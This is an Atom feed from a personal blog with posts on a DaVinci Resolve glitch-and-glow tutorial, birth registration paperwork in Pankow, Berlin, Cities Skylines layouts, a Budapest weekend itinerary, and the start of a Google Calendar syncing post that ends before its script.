<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Romain Pellerin's Blog</title><link href="https://romainpellerin.eu/" rel="alternate"></link><link href="//romainpellerin.eu/feeds/atom.xml" rel="self"></link><id>https://romainpellerin.eu/</id><updated>2026-03-03T22:39:00+01:00</updated><entry><title>Tuto Davinci Resolve: Dynamic Short on Indoor Cycling</title><link href="https://romainpellerin.eu/tuto-davinci-resolve-dynamic-short-on-indoor-cycling.html" rel="alternate"></link><published>2026-03-02T23:20:00+01:00</published><updated>2026-03-02T23:20:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2026-03-02:/tuto-davinci-resolve-dynamic-short-on-indoor-cycling.html</id><summary type="html">&lt;p&gt;How to create a nice short video about indoor cycling in winter&lt;/p&gt;</summary><content type="html">&lt;video controls&gt;
  &lt;source src="./videos/tuto-davinci-resolve-home-trainer.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;h1 id="vertical-format"&gt;Vertical format&lt;/h1&gt;
&lt;p&gt;Tick "Use vertical resolution". Prefer 4K instead of 1080p.&lt;/p&gt;
&lt;h1 id="color-management"&gt;Color management&lt;/h1&gt;
&lt;p&gt;Based on your source material but also the destination platform (Youtube, Instagram), you may want to export in SDR (Rec.709), as HDR is not always supported.&lt;/p&gt;
&lt;h1 id="glitch-effect"&gt;Glitch effect&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=GT2MPZJn9aI"&gt;Full tutorial there&lt;/a&gt;. &lt;a href="https://blog.pond5.com/78871-free-after-effects-templates-digital-distortion-free-after-effects-template/"&gt;The sound used is findable on this site&lt;/a&gt;.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable big" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-indoor-cycling/glitch-composite.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;&lt;a href="https://www.mediafire.com/folder/h4p84chqtsqmq/Glitch_Overlays_QuinceMedia" href="Stock glitch videos"&gt;Glitch video&lt;/a&gt; with composite mode: Substract&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img class="zoomable big" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-indoor-cycling/adjustment-flicker.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Adjustment clip with Flicker effect&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img class="zoomable big" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-indoor-cycling/adjustment-camera-shake.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Adjustment clip with Camera Shake effect&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img class="zoomable big" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-indoor-cycling/adjustment-camera-shake2.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Adjustment clip with Camera Shake effect (2)&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img class="zoomable big" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-indoor-cycling/adjustment-jpeg-damage.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Adjustment clip with JPEG Damage effect&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img class="zoomable big" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-indoor-cycling/transition.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Transition between the two clips&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="glowing-white-light-in-place-of-a-person"&gt;Glowing white light in place of a person&lt;/h1&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable big" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-indoor-cycling/freeze-frame.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Freeze a frame&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id="step-1-isolating-the-person"&gt;Step 1: isolating the person&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Switch to the Color Page.&lt;/li&gt;
&lt;li&gt;Add a new Serial Node (Alt + S on Windows or Option + S on Mac) or use the default one&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now, on the paid version of Davinci Resolve:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open the Magic Mask palette (the icon looks like a person with a mask).&lt;/li&gt;
&lt;li&gt;Draw a quick stroke over the person you want to replace.&lt;/li&gt;
&lt;li&gt;Click the Track Forward and Reverse button (play icon with arrows on both sides) to let Resolve track the person throughout the clip.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;On the free version: use the Power Window tool (the pen tool icon) to manually draw and track a mask around the person frame-by-frame.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable big" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-indoor-cycling/power-window.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Power Window&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Edit the settings under "Softness" if need be.&lt;/p&gt;
&lt;h2 id="step-2-turning-the-person-pure-white"&gt;Step 2: turning the person pure white&lt;/h2&gt;
&lt;p&gt;With the Magic Mask or Power Window node selected, go to the primaries color wheels. Crank the gain wheel all the way up to brighten the highlights.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable big" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-indoor-cycling/pure-white.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Gain wheel&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Next, open the Curves palette. Grab the bottom-left point of the main curve (the shadows) and drag it all the way to the top-left corner. This forces the darkest parts of the image to become pure white.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable big" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-indoor-cycling/pure-white2.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Shadows up&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id="step-3-adding-the-glow-effect"&gt;Step 3: adding the glow effect&lt;/h2&gt;
&lt;p&gt;Add another Serial Node after the white cutout node. Open the effects library (top right corner). Search for Glow (under Resolve FX Light) and drag it onto this new node.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable big" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-indoor-cycling/glow.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Glow effect&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Go to the settings panel for the glow effect and adjust the following to your liking:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Shine Threshold: Lower this to ensure the entire white shape emits light.&lt;/li&gt;
&lt;li&gt;Spread / Glow Size: Increase this to make the light bleed out over the background.&lt;/li&gt;
&lt;li&gt;Glow Color: It should default to white, but you can tint it slightly blue or yellow here if you want the light to have a specific temperature.&lt;/li&gt;
&lt;li&gt;Composite Type: Ensure it's set to "Add" or "Screen" to make the glow blend naturally over the background.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That's it!&lt;/p&gt;
&lt;style&gt;
video {
  display: block;
  margin: auto;
  width: 50%;
}
&lt;/style&gt;</content><category term="Video editing"></category><category term="davinci resolve"></category><category term="cycling"></category></entry><entry><title>How to give birth in Pankow (Berlin) as foreigners</title><link href="https://romainpellerin.eu/how-to-give-birth-in-pankow-berlin-as-foreigners.html" rel="alternate"></link><published>2026-02-25T16:30:00+01:00</published><updated>2026-03-01T22:50:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2026-02-25:/how-to-give-birth-in-pankow-berlin-as-foreigners.html</id><summary type="html">&lt;p&gt;German like bureaucacry and giving birth is no different&lt;/p&gt;</summary><content type="html">&lt;p&gt;We recently welcomed our first child 😊. Born in Germany! If someone had told me 10 years ago, I would not have believed it.&lt;/p&gt;
&lt;p&gt;Anyways, just like for all things, why make things simple when Germans can make them complicated? The process to "register" a newborn and get their birth certificate and then later an ID card is not the simplest. Here is a short summary that hopefully will help other parents in the future. This article is specifically about Pankow in Berlin. Each district handles things slightly differently.&lt;/p&gt;
&lt;p&gt;Things &lt;strong&gt;not&lt;/strong&gt; covered in this article:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The fact that you'll need an "assigned" midwife from early in the pregnancy until a few months after the birth. You'll see her (him?) on a regular basis throughout pregnancy, and every day just after birth.&lt;/li&gt;
&lt;li&gt;Prenatal classes for both parents&lt;/li&gt;
&lt;li&gt;Gynecological follow-up during pregnancy and all of the medical exams&lt;/li&gt;
&lt;li&gt;Elternzeit (parental leave)&lt;/li&gt;
&lt;li&gt;The medical exams after the birth (U examinations)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This article mostly focuses on the fun part: paperwork. 😆 If you're looking for a complete TODO list of everything that needs to be done when expecting a child and afterwards, &lt;a href="https://www.berlin.de/ba-mitte/politik-und-verwaltung/aemter/jugendamt/pdfs/ba_mitte_geburtsfahrplan_englisch_052022.pdf?ts=1705017647"&gt;open this PDF&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="german-part"&gt;German part&lt;/h1&gt;
&lt;h2 id="before-the-birth"&gt;Before the birth&lt;/h2&gt;
&lt;h3 id="vaterschaftsanerkennung"&gt;Vaterschaftsanerkennung&lt;/h3&gt;
&lt;p&gt;If you're not a married couple, you'll need a &lt;strong&gt;Vaterschaftsanerkennung&lt;/strong&gt; (acknowledgment of paternity) + &lt;strong&gt;Sorgerechtserklärung&lt;/strong&gt; (declaration of custody). Get both months ahead, you do not want to deal with it after the birth, you'll have enough to deal with. It will take an appointment in person, with both parents. It requires a great level in German, or an accompanying German friend who can translate. For both documents, you can go to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://maps.app.goo.gl/nPQ7tajDkztsiT7D7"&gt;your local Jugendamt&lt;/a&gt; (youth welfare office) – &lt;a href="https://www.berlin.de/jugendamt-pankow/dienste-und-leistungen/kindschaftsrecht/beurkundungen/"&gt;free&lt;/a&gt;. &lt;strong&gt;This is my recommendation&lt;/strong&gt;. You can book the appointment &lt;a href="https://service.berlin.de/dienstleistung/318991/standort/324905/"&gt;by calling&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;the Standesamt (registry office) – usually a fee of around €30-40 - only the acknowledgment of paternity takes place, not a declaration of custody&lt;/li&gt;
&lt;li&gt;a district court – free&lt;/li&gt;
&lt;li&gt;a notary – usually free for the Vaterschaftsanerkennung&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://verwaltung.bund.de/leistungsverzeichnis/en/leistung/99133001026000/herausgeber/BE-L100108_318991/region/110000000000"&gt;You need to bring the Mutterpass, your IDs of course and recent birth certificates translated in German.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.kietzee.com/blog/how-to-vaterschaftsanerkennung-recognition-of-paternity-germany"&gt;More info in English&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="deciding-on-a-hospital"&gt;Deciding on a hospital&lt;/h3&gt;
&lt;p&gt;In Germany, it's is highly recommended to "book" a hospital. Some hospitals offer "group tours"/visits once a week, every week, sometimes in English. Then, &lt;a href="https://www.caritas-gesundheit.de/kliniken/caritas-klinik-maria-heimsuchung/fachbereiche/geburtshilfe#Anmeldung-zur-Geburt"&gt;usuallly after 28 weeks of pregnancy, you need to call a hospital and let them know about your intention of giving birth there&lt;/a&gt;. You will then usually go in person and meet the midwifes. The (non) availability of a neonatal unit and/or a familiy room could also be a deciding factor. Also the English skills of the midwifes is something to take into account.&lt;/p&gt;
&lt;h2 id="after-the-birth"&gt;After the birth&lt;/h2&gt;
&lt;h3 id="registering-the-birth"&gt;Registering the birth&lt;/h3&gt;
&lt;p&gt;This is the first thing to do. Ideally, within the first week after birth.&lt;/p&gt;
&lt;p&gt;You'll need to &lt;a href="https://www.berlin.de/ba-pankow/politik-und-verwaltung/aemter/amt-fuer-buergerdienste/standesamt/geburtenregister/artikel.216451.php"&gt;register your newborn&lt;/a&gt; in order to obtain a &lt;strong&gt;Geburtsurkunde&lt;/strong&gt; (birth certificate) from your Standesamt. This will "unlock" many following steps. &lt;a href="https://www.berlin.de/ba-pankow/politik-und-verwaltung/aemter/amt-fuer-buergerdienste/standesamt/geburtenregister/artikel.1410286.php"&gt;Some hospitals&lt;/a&gt; will send documents on your behalf to the Standesamt, specifically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A form in which the parents fill out information about themselves and their newborn, and where you also pick a last name&lt;/li&gt;
&lt;li&gt;Vaterschaftsanerkennung&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After leaving the hospital, you need to &lt;strong&gt;&lt;a href="mailto:geburt@ba-pankow.berlin.de"&gt;send an email&lt;/a&gt; to the Standesamt&lt;/strong&gt; with your own birth certificates (both parents) and a copy of your ID cards (Personalausweise). Ask them in the same email if any other document is missing. In my experience, we only sent them our birth certificates per email and they replied two days later asking for our ID cards. We received 3 copies of the Geburtsurkunde 4 days later.&lt;/p&gt;
&lt;h3 id="getting-your-newborn-a-health-insurance-card"&gt;Getting your newborn a health insurance card&lt;/h3&gt;
&lt;p&gt;Through a public insurance, you can get free insurance for your kid by applying for a family insurance. Just reach out to your insurance and tell them about your newborn, they'll walk you through the process (it's surprisingly as easy as filling out ONE form!).&lt;/p&gt;
&lt;h3 id="elterngeld"&gt;Elterngeld&lt;/h3&gt;
&lt;p&gt;Supposedly it can now be done 100% online but only if you have a BundID, which as a Frenchman I cannot have unfortunately because the French national ID card system is not yet fully connected to the German one. So in our case, we will have to print out a PDF, fill it out and send it by mail.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.elterngeld-digital.de/ams/Elterngeld"&gt;Official website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bear in mind, this must be done within the first 3 months following the birth.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="kindergeld"&gt;Kindergeld&lt;/h3&gt;
&lt;p&gt;I have not done this part yet. I will update the article later accordingly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bear in mind, this must be done within the first 6 months following the birth.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="german-id-card"&gt;German ID card&lt;/h3&gt;
&lt;p&gt;Yet to be done... I will update the article later accordingly.&lt;/p&gt;
&lt;h1 id="french-part"&gt;French part&lt;/h1&gt;
&lt;h2 id="after-the-birth-declaration-de-naissance"&gt;After the birth: &lt;em&gt;Déclaration de naissance&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;To get a French birth certificate, you have two options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Quick option: you have 2 weeks after the birth to send the following documents to the ambassy and arrange an appointment:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Parents' birth certificates that are less than 3 months old, &lt;em&gt;copie intégrale&lt;/em&gt; (original document printed out and stamped by the city hall of your birth place), in French&lt;/li&gt;
&lt;li&gt;National ID cards&lt;/li&gt;
&lt;li&gt;Proof of address document&lt;/li&gt;
&lt;li&gt;Any document from the hospital with a stamp that "proves that the birth took place"&lt;/li&gt;
&lt;li&gt;Vaterschaftsanerkennung&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Slow option (&lt;em&gt;Transcription du certificat de naissance allemand&lt;/em&gt;): wait for the german Geburtsurkunde. Then you can send all the documents by mail, no need to go in person.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Later, &lt;a href="https://de.diplomatie.gouv.fr/fr/identite/carte-didentite"&gt;to get your newborn a French ID card&lt;/a&gt;, you'll need another appointment and similar documents, alongside their French birth certificate and a photo.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Hope this helps!&lt;/p&gt;</content><category term="Miscellaneous"></category><category term="babies"></category><category term="prenzlauer berg"></category><category term="berlin"></category></entry><entry><title>Cities Skylines on Nintendo Switch 101</title><link href="https://romainpellerin.eu/cities-skylines-on-nintendo-switch-101.html" rel="alternate"></link><published>2025-12-28T19:00:00+01:00</published><updated>2026-01-10T15:08:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-12-28:/cities-skylines-on-nintendo-switch-101.html</id><summary type="html">&lt;p&gt;Some tips for Cities Skylines&lt;/p&gt;</summary><content type="html">&lt;p&gt;It's Christmas time! Meaning I get to play with my Nintendo Switch!&lt;/p&gt;
&lt;p&gt;I'm a big fan of Cities Skylines. In this article, I collect a few tips and tricks I learned over the last few years, after many hours spent playing this amazing game.&lt;/p&gt;
&lt;h1 id="road-hierarchy"&gt;Road hierarchy&lt;/h1&gt;
&lt;p&gt;Although not always necessary, it's nice to have some sort of road hierary. To make cities less boring, I do not strictly follow these guidelines, only sometimes.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/road-hierarchy.png" alt="Screenshot" /&gt;
&lt;figcaption&gt;&lt;a href="https://www.youtube.com/watch?v=lJYPcXB8PcQ"&gt;Source&lt;/a&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/road-hierarchy.webp" alt="Screenshot" /&gt;
&lt;figcaption&gt;&lt;a href="https://www.youtube.com/watch?v=hsaOYqztdEg"&gt;Source&lt;/a&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="residential-commercial-zoning"&gt;Residential + commercial zoning&lt;/h1&gt;
&lt;p&gt;1 length = 10 tiny blocks.&lt;/p&gt;
&lt;h2 id="superblocks-a-la-barcelona"&gt;Superblocks (&lt;em&gt;à la Barcelona&lt;/em&gt;)&lt;/h2&gt;
&lt;p&gt;3x3 districts surrounded by 4 or 6 lanes (two or one way). So 30x30 tiny blocks.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/superblocks-aerial.jpg" alt="Screenshot" /&gt;
&lt;figcaption&gt;A superblock as seen from above&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/superblocks-side.jpg" alt="Screenshot" /&gt;
&lt;figcaption&gt;Side view of a superblock&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id="savannah-inspired-oglethorpe-grid"&gt;Savannah-inspired - Oglethorpe Grid&lt;/h2&gt;
&lt;h3 id="in-real-life"&gt;In real life&lt;/h3&gt;
&lt;p&gt;Also known as an &lt;a href="https://en.wikipedia.org/wiki/Squares_of_Savannah,_Georgia#:~:text=Layout%20of%20a%20typical%20ward%20in"&gt;Oglethorpe ward&lt;/a&gt;.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/savannah-gmaps.png" alt="Screenshot" /&gt;
&lt;figcaption&gt;&lt;a href="https://www.google.com/maps/place/Savannah+Historic+District/@32.0801901,-81.0946668,18.04z/"&gt;Google Maps&lt;/a&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/savannah-wikipedia.jpg" alt="Layout of the ward" /&gt;
&lt;figcaption&gt;&lt;a href="https://en.wikipedia.org/wiki/Squares_of_Savannah,_Georgia#:~:text=Layout%20of%20a%20typical%20ward%20in"&gt;Wikipedia&lt;/a&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;A ward is made of a central park + 4 commercial blocks (the closest to the park) and 4 residential blocks (bigger than commercial, 2 are north, 2 are south). We ignore the lanes in the middle of the residential blocks.&lt;/p&gt;
&lt;p&gt;Around a ward are 2 arterial roads (north and south) and 2 collector roads (west and east).&lt;/p&gt;
&lt;p&gt;Around the central park are one-way streets that go anticlockwise.&lt;/p&gt;
&lt;p&gt;The street that is north of the park is a one-way street that goes west, the one that is south of the park is also one-way, to the east.&lt;/p&gt;
&lt;p&gt;Optionnaly, the two streets on either side of the park can be made one-way (towards the park).&lt;/p&gt;
&lt;h3 id="in-city-skylines"&gt;In City Skylines&lt;/h3&gt;
&lt;p&gt;We place in the middle the regular "park with trees". We surround it by a 2-lane one-way street, going anticlockwise. The neighboring streets may optionnally be turned into one-way streets:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The one above goes west&lt;/li&gt;
&lt;li&gt;The one underneath goes east&lt;/li&gt;
&lt;li&gt;The two streets on either side of the park go towards the park&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The whole ward is surrounded by 6 or 4-lane roads (ideally 6-lane roads north and south, 4-lane roads west and east).&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/savannah-construction.jpg" alt="Screenshot" /&gt;
&lt;figcaption&gt;How to build a Savannah ward&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/savannah-aerial.jpg" alt="Screenshot" /&gt;
&lt;figcaption&gt;Multiple wards as seen from above - mostly surrounded by 6-lane roads&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/savannah-side.jpg" alt="Screenshot" /&gt;
&lt;figcaption&gt;Multiple wards as seen from the side&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/savannah-city.jpg" alt="Screenshot" /&gt;
&lt;figcaption&gt;A city made of Savannah wards&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/savannah-zoning.jpg" alt="Screenshot" /&gt;
&lt;figcaption&gt;Zoning in a Savannah ward&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h3 id="xl-version"&gt;XL version&lt;/h3&gt;
&lt;p&gt;The central park is slightly bigger than the regular park. It's a 2x2 block. You can add a small park in there, plus a couple of pedestrian paths.&lt;/p&gt;
&lt;p&gt;The original lanes in the middle of the residential blocks have been added back, as 2-lane roads (both ways).&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/savannah-xl.jpg" alt="Screenshot" /&gt;
&lt;figcaption&gt;An XL version, with the additional lanes in the middle of the residential blocks&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h3 id="combining-superblocks-and-savannah-wards"&gt;Combining Superblocks and Savannah wards&lt;/h3&gt;
&lt;p&gt;Not recommended. It makes massive blocks. But at least I've tried.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/superblock_savannah.jpg" alt="Screenshot" /&gt;
&lt;figcaption&gt;A combined block&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="industrial-zoning"&gt;Industrial zoning&lt;/h1&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/cities-skylines/industrial-zoning.png" alt="Screenshot" /&gt;
&lt;figcaption&gt;&lt;a href="https://www.reddit.com/r/CitiesSkylines/comments/xoj1ts/comment/ipyzdej/"&gt;Source&lt;/a&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="maxed-out-1-square-city"&gt;Maxed-out 1-square city&lt;/h1&gt;
&lt;p&gt;Population: varying between 30,000 and 35,000, despite the massive chunk of sea, and two industrial zones (forest and agriculture). No trains, no metro. Many bus lines, a few tram lines. One "leisure" zone on the shore.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="images/cities-skylines/2025122823391900_c.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="images/cities-skylines/2025122823394500_c.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="images/cities-skylines/2025122823400300_c.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="images/cities-skylines/2025122823424400_c.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="images/cities-skylines/2025122823444100_c.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="images/cities-skylines/2025122823451600_c.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="images/cities-skylines/2025122823453200_c.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="images/cities-skylines/2025122823471200_c.jpg"&gt;&lt;/p&gt;
&lt;h1 id="external-links"&gt;External links&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/CitiesSkylines/comments/rq2y11/maxedout_1square_city_on_switch/"&gt;Maxed-out 1-Square City on Switch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://imgur.com/a/how-to-traffic-v2-z1rM1"&gt;HOW TO TRAFFIC, V2&lt;/a&gt; (from &lt;a href="https://www.reddit.com/r/CitiesSkylines/comments/2zv8ft/traffic_engineers_guide_to_traffic_version_2/"&gt;Reddit&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://steamcommunity.com/sharedfiles/filedetails/?id=408643569"&gt;High Train Traffic Solutions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Video games"></category><category term="video games"></category></entry><entry><title>Things To Do In Budapest</title><link href="https://romainpellerin.eu/things-to-do-in-budapest.html" rel="alternate"></link><published>2025-11-18T23:40:00+01:00</published><updated>2025-11-18T23:40:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-11-18:/things-to-do-in-budapest.html</id><summary type="html">&lt;p&gt;Ideas for a weekend in Budapest&lt;/p&gt;</summary><content type="html">&lt;p&gt;I recently spent a little over 48 hours in Budapest for the first time and I really enjoyed it! Here are my recommendations for a nice weekend in the hungarian capital. It's a mix of what I did and what I wish I had done.&lt;/p&gt;
&lt;h1 id="first-day"&gt;First day&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Check out the Citadella and the Statue of Liberty (Szabadság-szobor)&lt;/li&gt;
&lt;li&gt;Rudas baths&lt;/li&gt;
&lt;li&gt;Go for a run on Margaret Island&lt;/li&gt;
&lt;li&gt;Get a drink at Twentysix Budapest Restaurant&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="second-day"&gt;Second day&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;New York café&lt;/li&gt;
&lt;li&gt;Visit the St. Stephen's Basilica&lt;/li&gt;
&lt;li&gt;Stroll in Zrínyi u. (that's where you'll find the Christmas Market in winter time) and Október 6. u.&lt;/li&gt;
&lt;li&gt;Then head over to the Buda side by crossing the Széchenyi Chain Bridge&lt;/li&gt;
&lt;li&gt;Buda Castle (free)&lt;/li&gt;
&lt;li&gt;The Church of Our Lady of Buda Castle (paid entrance)&lt;/li&gt;
&lt;li&gt;Fisherman's Bastion and Church of Saint Mary Magdalene (combined ticket)&lt;/li&gt;
&lt;li&gt;Head back to the Pest side&lt;/li&gt;
&lt;li&gt;Go see the Parliament Building from the outside&lt;/li&gt;
&lt;li&gt;Go eat/for a drink in the Gozsdu Court (Gozsdu udvar)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="third-day"&gt;Third day&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Heroes' Square&lt;/li&gt;
&lt;li&gt;Check out the Lake of the City Park and the Gatehouse Tower (Kaputorony)&lt;/li&gt;
&lt;li&gt;Spend most of the day in the Széchenyi Thermal Baths&lt;/li&gt;
&lt;/ul&gt;</content><category term="Travels"></category><category term="budapest"></category><category term="hungary"></category></entry><entry><title>Synchronizing Google Calendars</title><link href="https://romainpellerin.eu/synchronizing-google-calendars.html" rel="alternate"></link><published>2025-11-18T16:30:00+01:00</published><updated>2025-12-05T12:29:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-11-18:/synchronizing-google-calendars.html</id><summary type="html">&lt;p&gt;A Google Apps Script to keep calendars in sync&lt;/p&gt;</summary><content type="html">&lt;p&gt;At work, we use Google Calendars. I'm scheduling my workout/sports sessions in a separate, private Google Calendar. I'm also regularly on call during office hours - I'm getting assigned some days through another calendar provided by PagerDuty.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/google-calendar-others.png" alt="Screenshot of Google Calendar" style="float:left" /&gt;&lt;/p&gt;
&lt;p&gt;I added these 2 additional calendars to my work calendar as "external calendars", which only I can see.&lt;/p&gt;
&lt;p&gt;But I need my colleagues to see when I'm busy because I'm going for a run over the lunch break, or when I'm on call. Hence a need to keep these 3 calendars in sync. One caveat though is that I want to keep my sports sessions "private": my coworkers do not need to know whether I'm going running, or to the gym, or whathever. They just need to know that I'm not available.&lt;/p&gt;
&lt;p&gt;So I came up with a &lt;a href="https://script.google.com/home/"&gt;Google Apps Script&lt;/a&gt; that periodically runs (every hour) and does the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create "busy" events in my work calendar at the same time as my workouts.&lt;/li&gt;
&lt;li&gt;Create a copy of my "on call" events in my work calendar, coming from the Pager Duty calendar.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Of course if I update or delete a sports session, or if my on-call schedule changes, it gets updated in my work calendar too.&lt;/p&gt;
&lt;p&gt;Here is the script:&lt;/p&gt;
